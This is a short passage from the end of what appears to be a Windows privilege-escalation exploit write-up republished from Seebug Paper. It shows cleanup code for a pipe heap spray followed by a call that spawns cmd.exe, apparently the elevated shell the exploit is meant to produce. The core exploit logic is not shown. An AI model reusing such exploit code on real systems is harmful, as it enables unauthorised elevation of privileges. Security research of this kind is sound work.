    WaitForSingleObject(hSepThread, INFINITE);

    for (int i = 0;i < spray_size;i++) {
        if (tmp[i]) CloseHandle(tmp[i]);
        if (hPipeArray[i]) CloseHandle(hPipeArray[i]);
    }
    CloseHandle(hMainThread);
    CloseHandle(hSepThread);
    CloseHandle(hEvent);

    system("cmd.exe");

    return 0;
}
img

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3082/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK